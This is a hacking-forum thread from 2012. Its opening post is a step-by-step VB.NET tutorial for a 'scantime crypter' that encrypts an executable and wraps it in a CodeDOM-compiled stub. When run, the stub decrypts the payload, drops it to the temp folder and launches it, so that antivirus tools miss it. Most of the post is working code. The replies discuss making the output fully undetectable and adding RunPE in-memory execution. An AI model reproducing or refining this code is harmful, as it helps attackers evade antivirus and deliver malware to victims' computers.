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Thread: [\[TUT\]\[VB.NET\]Scantime CodeDOM Crypter!](#)

Pijm0 - January 20, 2012, 12:49 pm

Scantime Codedom Crypter

In this tutorial i will teach you how to make basic scantime crypter using VB.NET and the inbuilt CodeDOM library.

.:Credits:.

*Pr3fix - CodeDOM compiler

.:How it will work:.

CodeDOM is a library included in the dotNET framework. CodeDOM will allow us to compile a new application from a source stored in a string. Using CodeDOM we can make a program that compiles an application containing the encrypted bytes of a file and a function to decrypt the bytes and write them to the harddrive. This will make it a pain in the ass for all the AntiVirus companies out there to detect your file!

.:Let's begin:.

Just before we start I want to make one thing clear, the code provided in this tutorial needs to be modified to get completely undetected.

The first thing you will have to do is to add one button and two textboxes.

Name the first textbox "InputText" and the second one "OutputText".

And finally name the button "CryptBtn" and set its text to "Crypt File".

Now double click on My Project and click on the tab Resources. Then add a new Text File to your resources called Code. This text file will contain the source your program will compile.

Then write this text in the text file:

```
Code Imports System, Microsoft.VisualBasic, System.IO
```

```
Imports System.Security.Cryptography
```

```
Imports System.Diagnostics
```

```
Module Module1
```

```
Sub Main()
```

```
Dim Key As String = "//ZKey//"
```

```
Dim SavePath As String = Path.GetTempPath & "temp.exe"
```

```
Dim //ZBase64Bytes// As String = //ZB64//
```

```
Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))
```

```
File.WriteAllBytes(SavePath, Bytes)
```

```
Process.Start(SavePath)
```

```

End Sub
Public Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String)
    Dim XoAesProviderX As New RijndaelManaged
    Dim XbtCipherX() As Byte
    Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
    Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(UKeyU, XbtSaltX)
    XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
    XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
    Dim XmsX As New IO.MemoryStream
    Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
        CryptoStreamMode.Write)
    Try
        XbtCipherX = Convert.FromBase64String(UDecryptU)
        XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
        XcsX.Close()
        UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
    Catch
    End Try
    Return UDecryptU
End Function

```

End Module

This code will decrypt the bytes stored in //ZBase64Bytes// using the function RijndaelDecrypt, write the bytes to the harddrive and start the written bytes. Pretty simple!

Now onto reading the bytes, encrypting them, putting them into the source and compiling the source!

Now go back to the form, open the click event for "CryptBtn" and write this code:

```

Code Dim Source As String = My.Resources.Code 'Declares the temporary source.
Dim Password As String = "YourEncryptionKey"
Dim Bytes As String =
ProcessBase64(Rijndaelcrypt(Convert.ToBase64String(File.ReadAllBytes(InputText.Text)),
Password), 2000) 'Encrypts, Formats and Converts the bytes.

```

```

Source = Source.Replace("//ZKey//", Password) 'Inserts the Encryption key into the code.

```

```

Source = Source.Replace("//ZBase64Bytes//", GenerateString(7)) 'Some basic variable name
randomization.

```

```

Source = Source.Replace("//ZB64//", Bytes) 'Inserts the encrypted and formatted bytes into the
code.

```

```

Compile(OutputText.Text, Source) 'Runs the compile Sub using the source.

```

```

Msgbox("Crypted!") 'Tells you that the process is done!

```

Now we need to add these three imports:

```

Code Imports System.CodeDom.Compiler

```

```

Imports System.IO

```

```

Imports System.Security.Cryptography

```

Now we need to add some of the missing functions:

Code #Region "Encryption and Comiling"

```
Private Function GenerateString(ByVal Lenght As Integer) 'Generates some random text
    Dim Allowed As String =
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    Dim ReturnString As String = ""
    Dim Randumb As New Random
    For i = 1 To Lenght
        ReturnString &= Allowed.Chars(Randumb.Next(0, Allowed.Length - 1))
    Next
    Return ReturnString
End Function

Public Function ProcessBase64(ByVal Base64Bytes As String, ByVal MaxRowLengt As Integer)
As String 'Puts the encrypted data in smexy VB.NET formatted lines.
    Dim RowLenght As Integer = 0
    Dim CurrentRow As String = ""
    Dim Output As String = ""
    For i = 0 To Base64Bytes.Length - 1
        RowLenght += 1

        CurrentRow &= Base64Bytes.Chars(i)
        If i = Base64Bytes.Length - 1 Then
            Output &= Chr(34) & CurrentRow & Chr(34)
        Else

            If RowLenght = MaxRowLengt Then
                RowLenght = 0

                Output &= Chr(34) & CurrentRow & Chr(34) & "& _ " & Environment.NewLine

                CurrentRow = ""
            End If
        End If
    Next i
    Return Output
End Function

Public Sub Compile(ByVal Output As String, ByVal Source As String) 'CodeDOM compiler by
Pr3fix
    On Error Resume Next

    Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
    Dim Parameters As New CompilerParameters()
    Dim cResults As CompilerResults

    Parameters.GenerateExecutable = True
    Parameters.OutputAssembly = Output
    Parameters.ReferencedAssemblies.Add("System.dll")
    Parameters.ReferencedAssemblies.Add("System.Data.dll")
    Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
```

```

Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")

Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

If cResults.Errors.Count > 0 Then
    For Each CompilerError In cResults.Errors
        MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK,
        MessageBoxIcon.Error)
    Next
ElseIf cResults.Errors.Count = 0 Then

End If

End Sub

```

```

Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) 'Encryption
Function
    Dim oAesProvider As New RijndaelManaged
    Dim btClear() As Byte
    Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
    Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
    oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
    oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
    Dim ms As New IO.MemoryStream
    Dim cs As New CryptoStream(ms, _
        oAesProvider.CreateEncryptor(), _
        CryptoStreamMode.Write)
    btClear = System.Text.Encoding.UTF8.GetBytes(File)
    cs.Write(btClear, 0, btClear.Length)
    cs.Close()
    File = Convert.ToBase64String(ms.ToArray)
    Return File
End Function

```

#End Region

∴You're done!∴

Now the crypter is finished, just enter the name of the file that you want to crypt in InputText and where you want to save the final file in OutputText.

A lot of improvements can be done to the code, but I'll leave that up to you! ?

This was my first tutorial on HF, so don't be too harsh on me!

I hope you all are having a nice day! ?

Give credits! Leechers makes me sad! ?

Pijm0 - January 20, 2012, 12:54 pm

(Jan 20, 2012 01:52 PM)fillobotto Wrote: [\[CITE\]](#) already posted several times man....

// msgThere is always room for improvement... ?

VOLTAGE - January 20, 2012, 1:00 pm

What's the point when you can easily throw a runpe in their and call it? BAM, insta runtime.

Pijm0 - January 20, 2012, 1:04 pm

(Jan 20, 2012 02:00 PM)Cøma Wrote: [\[CITE\]](#) What's the point when you can easily throw a runpe in their and call it? BAM, insta runtime.

This is just an example... Not really hard to change it though.

Imaginary - January 20, 2012, 1:07 pm

What's the improvement? You just changed one line of the code:

Code Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))

Pijm0 - January 20, 2012, 1:13 pm

(Jan 20, 2012 02:07 PM)ddd66611 Wrote: [\[CITE\]](#) What's the improvement? You just changed one line of the code:

Code Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))

Of what code? I wrote this all by myself except the compiler and the encryption.

(Jan 20, 2012 02:05 PM)unflappedacorn Wrote: [\[CITE\]](#) get the vb.net garbage outta here, skid Just stop flaming! Just trying to learn out the basics of a crypter... I know many languages other than vb you know...

APTO - January 20, 2012, 1:24 pm

Very nice Tut ! Thanks you alot sir :)

Cabi Labs - January 20, 2012, 3:29 pm

Thanks for the nice Tutorial, great work.

jessman420 - January 25, 2012, 9:36 am

This is a nice tut, I am learning from it and it is helpful.

iRtehLeet™ - January 25, 2012, 10:22 am

Code Dim //ZBase64Bytes// As String = //ZB64//

Won't this huge string be detected by Avira?

Pijm0 - January 26, 2012, 12:12 am

(Jan 25, 2012 11:22 AM)iRtehLeet™ Wrote: [\[CITE\]](#) Code Dim //ZBase64Bytes// As String = //ZB64// Won't this huge string be detected by Avira?

As said, the code needs to be modified to be FUD.

Modesty - January 26, 2012, 9:01 am

You'll never reach FUD with storing data like this, take my word for it (:

You say the code needs to be modified however the modification will take so much that you'd effectively be making a new crypter since you'd need to come up with a new storage method.

HopeSaraiva - January 26, 2012, 11:20 am

It's giving errors

ps:35 keys to work this message

VOLTAGE - January 26, 2012, 11:21 am

(Jan 26, 2012 12:20 PM)HopeSaraiva Wrote: [\[CITE\]](#) It's giving errors

ps:35 keys to work this message

Well then fix them. Jesus christ, if you don't know VB then why did you use this?

Pijm0 - January 30, 2012, 11:19 am

(Jan 26, 2012 10:01 AM)Modesty Wrote: [\[CITE\]](#) You'll never reach FUD with storing data like this, take my word for it (:

You say the code needs to be modified however the modification will take so much that you'd effectively be making a new crypter since you'd need to come up with a new storage method.

This is just an example to teach noobs how the basics of a crypter works, not an example how to store the encrypted bytes as effectively as possible.

?

The MammoTh - January 30, 2012, 11:21 am

Basic but this will do probably, I guess.

mhnasoe - July 6, 2015, 9:55 pm

Thanks for the nice Tutorial, great work.

Flames - July 8, 2015, 3:56 am

Damn everyone flaming this guy, give him props atleast is a piece of code people can mess with and learn from...

Thanks nice tut man.

My Computer - July 8, 2015, 11:37 am

Not bad, not bad. Nice tutorial OP.